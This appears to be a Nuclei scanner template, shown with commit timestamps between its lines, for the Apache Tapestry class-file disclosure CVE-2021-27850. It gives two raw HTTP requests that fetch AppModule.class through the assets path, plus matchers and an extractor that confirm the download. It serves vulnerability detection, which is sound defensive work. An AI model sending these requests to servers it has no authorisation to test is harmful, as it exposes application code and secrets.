2021-05-21 03:34:16 +00:00
id : CVE-2021-27850
info :
2022-05-18 20:58:07 +00:00
name : Apache Tapestry - Remote Code Execution
2021-05-21 03:34:16 +00:00
author : pdteam
severity : critical
2022-04-22 10:38:41 +00:00
description : |
2022-05-18 20:58:07 +00:00
Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by Apache to fix the vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/04/15/1
- https://security.netapp.com/advisory/ntap-20210528-0002/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-27850
2023-11-10 09:15:01 +00:00
cwe-id : CWE-200,CWE-502
2023-10-25 17:36:19 +00:00
epss-score : 0.97414
2023-11-09 06:04:52 +00:00
epss-percentile : 0.99913
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : tapestry
tags : cve,cve2021,apache,tapestry
2021-05-21 03:34:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-05-21 03:34:16 +00:00
- raw :
- |
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
- |
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-05-21 03:34:16 +00:00
words :
- 'application/java'
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-05-21 03:34:16 +00:00
words :
- 'configuration'
- 'webtools'
condition : and
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
extractors :
- type : regex
name : id
group : 1
regex :
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
internal : true
part : header
2023-11-09 10:37:07 +00:00
# digest: 4a0a00473045022100a7dcb2fd0c8933f491294143bb7046fc2b6594f1666d9e80bd03e697e2bae9f502204c1aa70c254b298ec85098bbbaa4e610445e57a2d9492643138ccfb3348c3aaa:922c64590222798bb761d5b6d8e72950